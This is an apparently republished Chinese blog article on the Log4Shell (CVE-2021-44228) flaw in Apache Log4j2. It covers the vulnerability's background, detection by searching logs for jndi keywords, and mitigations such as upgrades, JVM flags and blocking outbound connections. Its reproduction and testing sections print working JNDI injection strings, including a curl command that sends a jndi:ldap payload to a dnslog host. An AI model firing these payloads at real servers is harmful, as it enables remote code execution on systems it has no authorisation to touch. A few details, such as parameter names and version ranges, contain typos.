您的位置 首页 java

log4j2被曝高危漏洞,或将影响70%以上企业

北京时间12月9号深夜,Apache Log4j2被曝出一个高危漏洞,攻击者通过 JNDI 注入攻击的形式可以轻松远程执行任何代码。随后官方紧急推出了2.15.0和2.15.0-rc1新版本修复,依然未能完全解决问题,现在已经更新到2.15.0-rc2。该漏洞被命名为Log4Shell,编号CVE-2021-44228。

高版本的 jdk 已修改默认配置,可以在一定程度上限制JNDI漏洞利用方式。在这些版本中 com.sun.jndi.ldap.object.trustURLCodebas设置为false,意味着jndi无法使用ldap加载远程代码。但是,还有其他针对此漏洞的攻击方式可能导致RCE。攻击者仍然可以利用服务器上的现有代码来进行有效攻击。

Log4j2是一款优秀的java日志框架,被大量用于业务开发,可能项目本身没有直接使用,但是引用的依赖包中仍然可能用到。只要用户输入的数据会被日志记录,就可被成功攻击。

影响范围Apache Log4j 2.x <= 2.15.1-rc1。

该漏洞于11月下旬由阿里云安全团队的chen zhaojun最先上报。

官网漏洞介绍

漏洞复现

使用官网中提到的lookup功能,如果日志记录的内容进行类似以下这种形式调用{jndi:rmi://192.168.1.1:1234/bug},就可以直接在服务器端远程调用攻击者注册的名为”bug”的服务。

攻击检测

1.基于攻击方法,可以用很简单的方法检测服务器是否受到jndi注入攻击。在日志中搜索”jndi:ldap: “、 ” jndi:rmi:”等关键字,如果有的话就表明服务器已经受到log4j注入攻击。

2.使用 DNS 记录器(例如dnslog.cn),您可以生成一个域名并在您的测试负载中使用它curl 127.0.0.1 :8080 -H ‘X-Api-Version: ${jndi:ldap://xxx. dns log.cn/a}’

刷新页面将显示 DNS 查询,这些查询标识了触发漏洞的主机。

警告:虽然 dnslog.cn 已成为测试 log4shell 的流行工具,但我们建议谨慎。在测试敏感基础设施时,发送到该站点的信息可能会被其所有者用来编目并随后加以利用。 如果您希望更分散地进行测试,您可以设置自己的权威DNS服务器进行测试。

修复方法

1.升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc2 版本,rc1版本已被证实存在绕过风险,下载地址

2.配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、 ICMP

3.升级已知受影响的应用及组件,如srping-boot-strater-log4j2、ApacheSolr、Apache Flink、Apache Druid、Apache Struts2。

4.紧急加固缓解措施:

①设置配置参数:

log4j2.formatMsgNoLookups=True

②修改 JVM 参数:

-Dlog4j2.formatMsgNoLookups=true

③修改系统环境变量:

FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

④禁止 log4j2 所在服务器外连

⑤升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上

部分内容来自于网络,如有侵权联系即删除。

文章来源:智云一二三科技

文章标题:log4j2被曝高危漏洞,或将影响70%以上企业

文章地址:https://www.zhihuclub.com/182776.shtml

关于作者: 智云科技

热门文章

网站地图